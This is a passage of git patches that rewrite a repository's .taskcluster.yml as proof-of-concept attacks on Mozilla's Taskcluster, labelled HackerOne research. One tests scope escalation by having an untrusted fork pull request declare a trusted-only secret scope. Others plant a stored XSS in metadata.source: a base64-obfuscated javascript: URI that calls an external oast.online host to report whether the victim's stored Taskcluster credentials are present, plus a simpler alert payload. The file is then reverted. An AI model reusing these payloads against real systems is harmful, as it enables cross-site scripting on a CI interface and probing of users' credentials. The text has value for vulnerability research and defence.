/builds/worker/artifacts artifacts && - taskgraph action-callback - else: > - cd /builds/worker/checkouts/src && - ln -s /builds/worker/artifacts artifacts && - taskgraph decision - --pushlog-id='0' - --pushdate='0' - --project='${project}' - --owner='${ownerEmail}' - --level='${level}' - --repository-type=git - --tasks-for='${tasks_for}' - --base-repository='${baseRepoUrl}' - --base-ref='${short_base_ref}' - --base-rev='${base_sha}' - --head-repository='${repoUrl}' - --head-ref='${short_head_ref}' - --head-rev='${head_sha}' - ${extraArgs} - - artifacts: - 'public': - type: 'directory' - path: '/builds/worker/artifacts' - expires: {$fromNow: '1 year'} - 'public/docker-contexts': - type: 'directory' - path: '/builds/worker/checkouts/src/docker-contexts' - # This needs to be at least the deadline of the - # decision task + the docker-image task deadlines. - # It is set to a week to allow for some time for - # debugging, but they are not useful long-term. - expires: {$fromNow: '7 day'} - - extra: - $merge: - - $if: 'tasks_for == "action"' - then: - parent: '${action.taskGroupId}' - action: - name: '${action.name}' - context: - taskGroupId: '${action.taskGroupId}' - taskId: {$eval: 'taskId'} - input: {$eval: 'input'} - clientId: {$eval: 'clientId'} - - $if: 'tasks_for == "cron"' - then: - cron: {$json: {$eval: 'cron'}} - - tasks_for: '${tasks_for}' \ No newline at end of file + - provisionerId: "mozilla-1" + workerType: "decision" + created: "2026-07-07T13:38:35.000Z" + deadline: "2026-07-07T15:43:35.000Z" + expires: "2026-07-08T13:43:35.000Z" + scopes: + - "secrets:get:project/mozilla/simple-github/level-1/hackerone-canary" + extra: + github: + events: + - "pull_request.opened" + - "pull_request.synchronize" + - "pull_request.reopened" + payload: + image: "ubuntu:22.04" + maxRunTime: 300 + command: + - "/bin/bash" + - "-c" + - "echo 'HackerOne canary: proving assigned scopes, no secret read'" + metadata: + name: "v0 scope-escalation PoC task" + description: "Authorized HackerOne research. Declares (never reads) a trusted-role-only secret scope." + owner: "0xoroot@wearehackerone.com" + source: "https://github.com/0xoroot/simple-github/blob/canary/.taskcluster.yml" From bd7abf0384aa46793c63c12177405451ddf073d5 Mon Sep 17 00:00:00 2001 From: 0xoroot <0xoroot@wearehackerone.com> Date: Tue, 7 Jul 2026 21:28:34 +0300 Subject: [PATCH 4/6] poc: metadata.source javascript: XSS (authorized HackerOne research) --- .taskcluster.yml | 32 +++++++++++++------------------- 1 file changed, 13 insertions(+), 19 deletions(-) diff --git a/.taskcluster.yml b/.taskcluster.yml index bdb9f59..33857b4 100644 --- a/.taskcluster.yml +++ b/.taskcluster.yml @@ -1,32 +1,26 @@ version: 0 metadata: - name: "TC v0 scope-escalation PoC (authorized HackerOne research)" - description: "Non-destructive PoC. This v0 task declares a secrets:get scope that ONLY the trusted pull-request role grants; the task command is a benign echo and never reads any secret. If the task is created and holds this scope, an untrusted fork PR received the trusted role." + name: "TC-UI metadata.source XSS PoC (authorized HackerOne research)" + description: "Non-destructive PoC. metadata.source is a javascript: URI; the TC-UI Source link renders it unescaped (TaskDetailsCard). Clicking Source executes on the TC origin. Payload only reports whether creds are readable (1/0), never exfiltrates them." owner: "0xoroot@wearehackerone.com" - source: "https://github.com/0xoroot/simple-github/blob/canary/.taskcluster.yml" + source: "javascript:eval(atob('ZmV0Y2goJ2h0dHBzOi8vZDk2aGp1MnNzM3ZwMG41MDIyZTBvNGU4ZmJ4czE1dHM5Lm9hc3Qub25saW5lL3RjeHNzP2NyZWRzPScrKGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdAQFRBU0tDTFVTVEVSX1dFQl9BVVRIJyk/MTowKSk='))" tasks: - provisionerId: "mozilla-1" workerType: "decision" - created: "2026-07-07T13:38:35.000Z" - deadline: "2026-07-07T15:43:35.000Z" - expires: "2026-07-08T13:43:35.000Z" - scopes: - - "secrets:get:project/mozilla/simple-github/level-1/hackerone-canary" + created: "2026-07-07T18:23:33.000Z" + deadline: "2026-07-07T20:28:33.000Z" + expires: "2026-07-08T18:28:33.000Z" + scopes: [] extra: github: - events: - - "pull_request.opened" - - "pull_request.synchronize" - - "pull_request.reopened" + events: ["pull_request.opened","pull_request.synchronize","pull_request.reopened"] payload: image: "ubuntu:22.04" maxRunTime: 300 - command: - - "/bin/bash" - - "-c" - - "echo 'HackerOne canary: proving assigned scopes, no secret read'" + command: ["/bin/bash","-c","echo xss-source-poc"] metadata: - name: "v0 scope-escalation PoC task" - description: "Authorized HackerOne research. Declares (never reads) a trusted-role-only secret scope." + name: "xss source poc" + description: "authorized H1 research" owner: "0xoroot@wearehackerone.com" - source: "https://github.com/0xoroot/simple-github/blob/canary/.taskcluster.yml" + source: "javascript:eval(atob('ZmV0Y2goJ2h0dHBzOi8vZDk2aGp1MnNzM3ZwMG41MDIyZTBvNGU4ZmJ4czE1dHM5Lm9hc3Qub25saW5lL3RjeHNzP2NyZWRzPScrKGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdAQFRBU0tDTFVTVEVSX1dFQl9BVVRIJyk/MTowKSk='))" + From c1861ad93ddf3d931024333698704315461acf4e Mon Sep 17 00:00:00 2001 From: 0xoroot <0xoroot@wearehackerone.com> Date: Tue, 7 Jul 2026 21:33:04 +0300 Subject: [PATCH 5/6] poc2 minimal js source --- .taskcluster.yml | 28 +++++++++------------------- 1 file changed, 9 insertions(+), 19 deletions(-) diff --git a/.taskcluster.yml b/.taskcluster.yml index 33857b4..9db2dbd 100644 --- a/.taskcluster.yml +++ b/.taskcluster.yml @@ -1,26 +1,16 @@ version: 0 metadata: - name: "TC-UI metadata.source XSS PoC (authorized HackerOne research)" - description: "Non-destructive PoC. metadata.source is a javascript: URI; the TC-UI Source link renders it unescaped (TaskDetailsCard). Clicking Source executes on the TC origin. Payload only reports whether creds are readable (1/0), never exfiltrates them." + name: "poc2" + description: "authorized H1 research" owner: "0xoroot@wearehackerone.com" - source: "javascript:eval(atob('ZmV0Y2goJ2h0dHBzOi8vZDk2aGp1MnNzM3ZwMG41MDIyZTBvNGU4ZmJ4czE1dHM5Lm9hc3Qub25saW5lL3RjeHNzP2NyZWRzPScrKGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdAQFRBU0tDTFVTVEVSX1dFQl9BVVRIJyk/MTowKSk='))" + source: "javascript:alert(document.domain)" tasks: - provisionerId: "mozilla-1" workerType: "decision" - created: "2026-07-07T18:23:33.000Z" - deadline: "2026-07-07T20:28:33.000Z" - expires: "2026-07-08T18:28:33.000Z" + created: "2026-07-07T18:28:03.000Z" + deadline: "2026-07-07T20:33:03.000Z" + expires: "2026-07-08T18:33:03.000Z" scopes: [] - extra: - github: - events: ["pull_request.opened","pull_request.synchronize","pull_request.reopened"] - payload: - image: "ubuntu:22.04" - maxRunTime: 300 - command: ["/bin/bash","-c","echo xss-source-poc"] - metadata: - name: "xss source poc" - description: "authorized H1 research" - owner: "0xoroot@wearehackerone.com" - source: "javascript:eval(atob('ZmV0Y2goJ2h0dHBzOi8vZDk2aGp1MnNzM3ZwMG41MDIyZTBvNGU4ZmJ4czE1dHM5Lm9hc3Qub25saW5lL3RjeHNzP2NyZWRzPScrKGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdAQFRBU0tDTFVTVEVSX1dFQl9BVVRIJyk/MTowKSk='))" - + extra: { github: { events: ["pull_request.opened","pull_request.synchronize","pull_request.reopened"] } } + payload: { image: "ubuntu:22.04", maxRunTime: 300, command: ["/bin/bash","-c","echo poc2"] } + metadata: { name: "poc2", description: "authorized H1 research", owner: "0xoroot@wearehackerone.com", source: "javascript:alert(document.domain)" } From a5bcf877644b96d1120216a17a2ffddc0d8395b0 Mon Sep 17 00:00:00 2001 From: 0xoroot <0xoroot@wearehackerone.com> Date: Tue, 7 Jul 2026 21:36:18 +0300 Subject: [PATCH 6/6] revert to benign (poc concluded) --- .taskcluster.yml | 20 ++++---------------- 1 file changed, 4 insertions(+), 16 deletions(-) diff --git a/.taskcluster.yml b/.taskcluster.yml index 9db2dbd..cec68d0 100644 --- a/.taskcluster.yml +++ b/.taskcluster.yml @@ -1,16 +1,4 @@ -version: 0 -metadata: - name: "poc2" - description: "authorized H1 research" - owner: "0xoroot@wearehackerone.com" - source: "javascript:alert(document.domain)" -tasks: - - provisionerId: "mozilla-1" - workerType: "decision" - created: "2026-07-07T18:28:03.000Z" - deadline: "2026-07-07T20:33:03.000Z" - expires: "2026-07-08T18:33:03.000Z" - scopes: [] - extra: { github: { events: ["pull_request.opened","pull_request.synchronize","pull_request.reopened"] } } - payload: { image: "ubuntu:22.04", maxRunTime: 300, command: ["/bin/bash","-c","echo poc2"] } - metadata: { name: "poc2", description: "authorized H1 research", owner: "0xoroot@wearehackerone.com", source: "javascript:alert(document.domain)" } +version: 1 +policy: + pullRequests: public_restricted +tasks: []